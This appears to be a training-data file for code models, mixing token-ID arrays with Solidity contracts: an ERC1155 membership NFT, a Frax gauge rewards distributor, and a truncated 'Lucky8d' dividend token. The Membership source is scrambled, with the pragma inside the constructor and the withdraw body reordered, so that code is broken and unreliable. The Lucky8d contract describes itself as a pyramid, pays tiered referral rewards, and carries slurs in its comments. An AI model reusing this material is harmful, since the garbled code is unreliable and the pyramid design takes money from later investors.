[ 1, 16351, 423, 20924, 3802, 39, 492, 2377, 5349, 353, 3155, 4664, 1845, 39, 492, 2377, 5349, 288, 203, 565, 1450, 5267, 1989, 364, 1758, 31, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 871, 1827, 50, 20924, 3802, 39, 492, 2377, 5349, 6119, 12, 203, 3639, 1758, 5793, 16, 203, 3639, 2254, 5034, 8808, 787, 1768, 16, 203, 3639, 2254, 5034, 8808, 679, 1768, 16, 203, 3639, 1758, 8808, 9230, 203, 565, 11272, 203, 565, 871, 1827, 28019, 13788, 2577, 281, 5033, 12, 203, 3639, 1758, 8808, 5793, 16, 203, 3639, 2254, 5034, 8808, 29838, 267, 379, 9692, 1638, 1768, 16, 203, 3639, 2254, 5034, 8808, 20465, 275, 9692, 1638, 1768, 16, 203, 3639, 2254, 5034, 17714, 502, 9692, 1638, 1768, 16, 203, 3639, 2254, 5034, 29838, 267, 379, 9692, 4727, 16, 203, 3639, 2254, 5034, 20465, 275, 9692, 4727, 16, 203, 3639, 2254, 5034, 17714, 502, 9692, 4727, 203, 565, 11272, 203, 565, 871, 1827, 11710, 13788, 2577, 281, 5033, 12, 203, 3639, 1758, 8808, 5793, 16, 203, 3639, 2254, 5034, 8808, 29838, 267, 379, 9692, 1638, 1768, 16, 203, 3639, 2254, 5034, 8808, 20465, 275, 9692, 1638, 1768, 16, 203, 3639, 2254, 5034, 29838, 267, 379, 9692, 4727, 16, 203, 3639, 2254, 5034, 20465, 275, 9692, 4727, 203, 565, 11272, 203, 565, 871, 1827, 3335, 13788, 9692, 5033, 12, 2867, 8808, 5793, 16, 2254, 5034, 8808, 29838, 267, 379, 9692, 1638, 1768, 16, 2254, 5034, 8808, 29838, 267, 379, 9692, 4727, 1769, 203, 203, 565, 2254, 5034, 1071, 2 ]
./full_match/80001/0xD8224491fcF8dE30135A4c53ac2c1Edb90D82A06/sources/MembershipCrossmint.sol
VariablesmappingsSet the name and symbol of NFT here
contract Membership is ERC1155, Ownable, Pausable, ERC1155Supply { string public name; string public symbol; uint256 public mintRate; uint256[] public minted = [0]; address public Admin; mapping(uint => string) public tokenURI; mapping(address => uint256) public totalMint; constructor( string memory _name, string memory _symbol, uint256 _mintRate pragma solidity ^0.8.7; ) ERC1155("") { name = _name; symbol = _symbol; mintRate = _mintRate; Admin = msg.sender; } function mint(address _to, uint _amount, uint _id) public payable { require( totalMint[_to] < 1, "Already minted NFT for this wallet address" ); require(_amount > 0 && _amount < 2, "Amount should be 1."); require(msg.value >= mintRate, "Insufficient amount sent"); totalMint[_to] += 1; _mint(_to, _id, _amount, ""); minted[_id] += 1; } function setURI(uint _id, string memory _uri) external onlyOwner { tokenURI[_id] = _uri; } function setMintRate(uint256 _mintRate) external onlyOwner { mintRate = _mintRate; } function getTotalNFTsMintedForId( uint256 _id ) public view returns (uint256) { return minted[_id]; } function getTokenUriForId(uint256 _id) public view returns (string memory) { return tokenURI[_id]; } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal override(ERC1155, ERC1155Supply) { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); } function withdraw() public payable onlyOwner { "" ); require(success); } (bool success, ) = payable(owner()).call{value: address(this).balance}( }
845,055
[ 1, 6158, 16047, 694, 326, 508, 471, 3273, 434, 423, 4464, 2674, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 28100, 353, 4232, 39, 2499, 2539, 16, 14223, 6914, 16, 21800, 16665, 16, 4232, 39, 2499, 2539, 3088, 1283, 288, 203, 565, 533, 1071, 508, 31, 203, 565, 533, 1071, 3273, 31, 203, 565, 2254, 5034, 1071, 312, 474, 4727, 31, 203, 565, 2254, 5034, 8526, 1071, 312, 474, 329, 273, 306, 20, 15533, 203, 565, 1758, 1071, 7807, 31, 203, 203, 565, 2874, 12, 11890, 516, 533, 13, 1071, 1147, 3098, 31, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 1071, 2078, 49, 474, 31, 203, 203, 565, 3885, 12, 203, 3639, 533, 3778, 389, 529, 16, 203, 3639, 533, 3778, 389, 7175, 16, 203, 3639, 2254, 5034, 389, 81, 474, 4727, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 27, 31, 203, 565, 262, 4232, 39, 2499, 2539, 2932, 7923, 288, 203, 3639, 508, 273, 389, 529, 31, 203, 3639, 3273, 273, 389, 7175, 31, 203, 3639, 312, 474, 4727, 273, 389, 81, 474, 4727, 31, 203, 3639, 7807, 273, 1234, 18, 15330, 31, 203, 565, 289, 203, 203, 565, 445, 312, 474, 12, 2867, 389, 869, 16, 2254, 389, 8949, 16, 2254, 389, 350, 13, 1071, 8843, 429, 288, 203, 3639, 2583, 12, 203, 5411, 2078, 49, 474, 63, 67, 869, 65, 411, 404, 16, 203, 5411, 315, 9430, 312, 474, 329, 423, 4464, 364, 333, 9230, 1758, 6, 203, 3639, 11272, 203, 3639, 2583, 24899, 8949, 405, 374, 597, 389, 8949, 411, 576, 16, 315, 6275, 1410, 506, 404, 1199, 1769, 203, 3639, 2583, 12, 3576, 2 ]
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ================== FraxGaugeFXSRewardsDistributor ================== // ==================================================================== // Looks at the gauge controller contract and pushes out FXS rewards once // a week to the gauges (farms) // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian import "../Math/Math.sol"; import "../Math/SafeMath.sol"; import "../ERC20/ERC20.sol"; import "../ERC20/SafeERC20.sol"; import "./IFraxGaugeController.sol"; import "./FraxMiddlemanGauge.sol"; import '../Uniswap/TransferHelper.sol'; import "../Staking/Owned.sol"; import "../Utils/ReentrancyGuard.sol"; contract FraxGaugeFXSRewardsDistributor is Owned, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for ERC20; /* ========== STATE VARIABLES ========== */ // Instances and addresses address public reward_token_address; IFraxGaugeController public gauge_controller; // Admin addresses address public timelock_address; address public curator_address; // Constants uint256 private constant MULTIPLIER_PRECISION = 1e18; uint256 private constant ONE_WEEK = 604800; // Gauge controller related mapping(address => bool) public gauge_whitelist; mapping(address => bool) public is_middleman; // For cross-chain farms, use a middleman contract to push to a bridge mapping(address => uint256) public last_time_gauge_paid; // Booleans bool public distributionsOn; /* ========== MODIFIERS ========== */ modifier onlyByOwnGov() { require(msg.sender == owner || msg.sender == timelock_address, "Not owner or timelock"); _; } modifier onlyByOwnerOrCuratorOrGovernance() { require(msg.sender == owner || msg.sender == curator_address || msg.sender == timelock_address, "Not owner, curator, or timelock"); _; } modifier isDistributing() { require(distributionsOn == true, "Distributions are off"); _; } /* ========== CONSTRUCTOR ========== */ constructor ( address _owner, address _timelock_address, address _curator_address, address _reward_token_address, address _gauge_controller_address ) Owned(_owner) { curator_address = _curator_address; timelock_address = _timelock_address; reward_token_address = _reward_token_address; gauge_controller = IFraxGaugeController(_gauge_controller_address); distributionsOn = true; } /* ========== VIEWS ========== */ // Current weekly reward amount function currentReward(address gauge_address) public view returns (uint256 reward_amount) { uint256 rel_weight = gauge_controller.gauge_relative_weight(gauge_address, block.timestamp); uint256 rwd_rate = (gauge_controller.global_emission_rate()).mul(rel_weight).div(1e18); reward_amount = rwd_rate.mul(ONE_WEEK); } /* ========== MUTATIVE FUNCTIONS ========== */ // Callable by anyone function distributeReward(address gauge_address) public isDistributing nonReentrant returns (uint256 weeks_elapsed, uint256 reward_tally) { require(gauge_whitelist[gauge_address], "Gauge not whitelisted"); // Calculate the elapsed time in weeks. uint256 last_time_paid = last_time_gauge_paid[gauge_address]; // Edge case for first reward for this gauge if (last_time_paid == 0){ weeks_elapsed = 1; } else { // Truncation desired weeks_elapsed = (block.timestamp).sub(last_time_gauge_paid[gauge_address]) / ONE_WEEK; // Return early here for 0 weeks instead of throwing, as it could have bad effects in other contracts if (weeks_elapsed == 0) { return (0, 0); } } // NOTE: This will always use the current global_emission_rate() reward_tally = 0; for (uint i = 0; i < (weeks_elapsed); i++){ uint256 rel_weight_at_week; if (i == 0) { // Mutative, for the current week. Makes sure the weight is checkpointed. Also returns the weight. rel_weight_at_week = gauge_controller.gauge_relative_weight_write(gauge_address, block.timestamp); } else { // View rel_weight_at_week = gauge_controller.gauge_relative_weight(gauge_address, (block.timestamp).sub(ONE_WEEK * i)); } uint256 rwd_rate_at_week = (gauge_controller.global_emission_rate()).mul(rel_weight_at_week).div(1e18); reward_tally = reward_tally.add(rwd_rate_at_week.mul(ONE_WEEK)); } // Update the last time paid last_time_gauge_paid[gauge_address] = block.timestamp; if (is_middleman[gauge_address]){ // Cross chain: Pay out the rewards to the middleman contract // Approve for the middleman first ERC20(reward_token_address).approve(gauge_address, reward_tally); // Trigger the middleman FraxMiddlemanGauge(gauge_address).pullAndBridge(reward_tally); } else { // Mainnet: Pay out the rewards directly to the gauge TransferHelper.safeTransfer(reward_token_address, gauge_address, reward_tally); } emit RewardDistributed(gauge_address, reward_tally); } /* ========== RESTRICTED FUNCTIONS - Curator / migrator callable ========== */ // For emergency situations function toggleDistributions() external onlyByOwnerOrCuratorOrGovernance { distributionsOn = !distributionsOn; emit DistributionsToggled(distributionsOn); } /* ========== RESTRICTED FUNCTIONS - Owner or timelock only ========== */ // Added to support recovering LP Rewards and other mistaken tokens from other systems to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnGov { // Only the owner address can ever receive the recovery withdrawal TransferHelper.safeTransfer(tokenAddress, owner, tokenAmount); emit RecoveredERC20(tokenAddress, tokenAmount); } function setGaugeState(address _gauge_address, bool _is_middleman, bool _is_active) external onlyByOwnGov { is_middleman[_gauge_address] = _is_middleman; gauge_whitelist[_gauge_address] = _is_active; emit GaugeStateChanged(_gauge_address, _is_middleman, _is_active); } function setTimelock(address _new_timelock) external onlyByOwnGov { timelock_address = _new_timelock; } function setCurator(address _new_curator_address) external onlyByOwnGov { curator_address = _new_curator_address; } function setGaugeController(address _gauge_controller_address) external onlyByOwnGov { gauge_controller = IFraxGaugeController(_gauge_controller_address); } /* ========== EVENTS ========== */ event RewardDistributed(address indexed gauge_address, uint256 reward_amount); event RecoveredERC20(address token, uint256 amount); event GaugeStateChanged(address gauge_address, bool is_middleman, bool is_active); event DistributionsToggled(bool distibutions_state); }
Current weekly reward amount
function currentReward(address gauge_address) public view returns (uint256 reward_amount) { uint256 rel_weight = gauge_controller.gauge_relative_weight(gauge_address, block.timestamp); uint256 rwd_rate = (gauge_controller.global_emission_rate()).mul(rel_weight).div(1e18); reward_amount = rwd_rate.mul(ONE_WEEK); }
950,947
[ 1, 3935, 4860, 715, 19890, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 783, 17631, 1060, 12, 2867, 13335, 67, 2867, 13, 1071, 1476, 1135, 261, 11890, 5034, 19890, 67, 8949, 13, 288, 203, 3639, 2254, 5034, 1279, 67, 4865, 273, 13335, 67, 5723, 18, 75, 8305, 67, 11626, 67, 4865, 12, 75, 8305, 67, 2867, 16, 1203, 18, 5508, 1769, 203, 3639, 2254, 5034, 436, 3623, 67, 5141, 273, 261, 75, 8305, 67, 5723, 18, 6347, 67, 351, 19710, 67, 5141, 1435, 2934, 16411, 12, 2878, 67, 4865, 2934, 2892, 12, 21, 73, 2643, 1769, 203, 3639, 19890, 67, 8949, 273, 436, 3623, 67, 5141, 18, 16411, 12, 5998, 67, 20274, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.20; contract Lucky8d { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } // administrator can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ require(msg.sender == owner); _; } modifier limitBuy() { if(limit && msg.value > 2 ether && msg.sender != owner) { // check if the transaction is over 2ether and limit is active if ((msg.value) < address(this).balance && (address(this).balance-(msg.value)) >= 50 ether) { // if contract reaches 50 ether disable limit limit = false; } else { revert(); // revert the transaction } } _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event OnRedistribution ( uint256 amount, uint256 timestamp ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "Lucky8D"; string public symbol = "Lucky"; uint8 constant public decimals = 18; uint8 constant internal dividendFee_ = 20; // 20% uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; // proof of stake (defaults at 10 tokens) uint256 public stakingRequirement = 0; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => address) internal referralOf_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => bool) internal alreadyBought; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; mapping(address => bool) internal whitelisted_; bool internal whitelist_ = true; bool internal limit = true; address public owner; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ constructor() public { owner = msg.sender; whitelisted_[msg.sender] = true; // WorldFomo Divs Account whitelisted_[0x8B4cE0C6021eb6AA43B854fB262E03F207e9ceBb] = true; whitelist_ = true; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event emit onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); // 20% dividendFee_ uint256 _referralBonus = SafeMath.div(_undividedDividends, 2); // 50% of dividends: 10% uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_ethereum, (_dividends)); address _referredBy = referralOf_[_customerAddress]; if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], (_referralBonus / 2)); // Tier 1 gets 50% of referrals (5%) address tier2 = referralOf_[_referredBy]; if (tier2 != 0x0000000000000000000000000000000000000000 && tokenBalanceLedger_[tier2] >= stakingRequirement) { referralBalance_[tier2] = SafeMath.add(referralBalance_[tier2], (_referralBonus*30 / 100)); // Tier 2 gets 30% of referrals (3%) //address tier3 = referralOf_[tier2]; if (referralOf_[tier2] != 0x0000000000000000000000000000000000000000 && tokenBalanceLedger_[referralOf_[tier2]] >= stakingRequirement) { referralBalance_[referralOf_[tier2]] = SafeMath.add(referralBalance_[referralOf_[tier2]], (_referralBonus*20 / 100)); // Tier 3 get 20% of referrals (2%) } else { _dividends = SafeMath.add(_dividends, (_referralBonus*20 / 100)); } } else { _dividends = SafeMath.add(_dividends, (_referralBonus*30 / 100)); } } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); } // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event emit onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * 0% fee. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); // fire event emit Transfer(_customerAddress, _toAddress, _amountOfTokens); // ERC20 return true; } /** * redistribution of dividends */ function redistribution() external payable { // setup uint256 ethereum = msg.value; // disperse ethereum among holders profitPerShare_ = SafeMath.add(profitPerShare_, (ethereum * magnitude) / tokenSupply_); // fire event emit OnRedistribution(ethereum, block.timestamp); } /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(address _newAdmin) onlyAdministrator() external { owner = _newAdmin; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return address(this).balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_),100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_),100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, dividendFee_),100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function disableWhitelist() onlyAdministrator() external { whitelist_ = false; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) limitBuy() internal returns(uint256) { //As long as the whitelist is true, only whitelisted people are allowed to buy. // if the person is not whitelisted but whitelist is true/active, revert the transaction if (whitelisted_[msg.sender] == false && whitelist_ == true) { revert(); } // data setup address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, dividendFee_), 100); // 20% dividendFee_ uint256 _referralBonus = SafeMath.div(_undividedDividends, 2); // 50% of dividends: 10% uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, (_undividedDividends)); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement && referralOf_[_customerAddress] == 0x0000000000000000000000000000000000000000 && alreadyBought[_customerAddress] == false ){ referralOf_[_customerAddress] = _referredBy; // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], (_referralBonus / 2)); // Tier 1 gets 50% of referrals (5%) address tier2 = referralOf_[_referredBy]; if (tier2 != 0x0000000000000000000000000000000000000000 && tokenBalanceLedger_[tier2] >= stakingRequirement) { referralBalance_[tier2] = SafeMath.add(referralBalance_[tier2], (_referralBonus*30 / 100)); // Tier 2 gets 30% of referrals (3%) //address tier3 = referralOf_[tier2]; if (referralOf_[tier2] != 0x0000000000000000000000000000000000000000 && tokenBalanceLedger_[referralOf_[tier2]] >= stakingRequirement) { referralBalance_[referralOf_[tier2]] = SafeMath.add(referralBalance_[referralOf_[tier2]], (_referralBonus*20 / 100)); // Tier 3 get 20% of referrals (2%) } else { _dividends = SafeMath.add(_dividends, (_referralBonus*20 / 100)); _fee = _dividends * magnitude; } } else { _dividends = SafeMath.add(_dividends, (_referralBonus*30 / 100)); _fee = _dividends * magnitude; } } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / 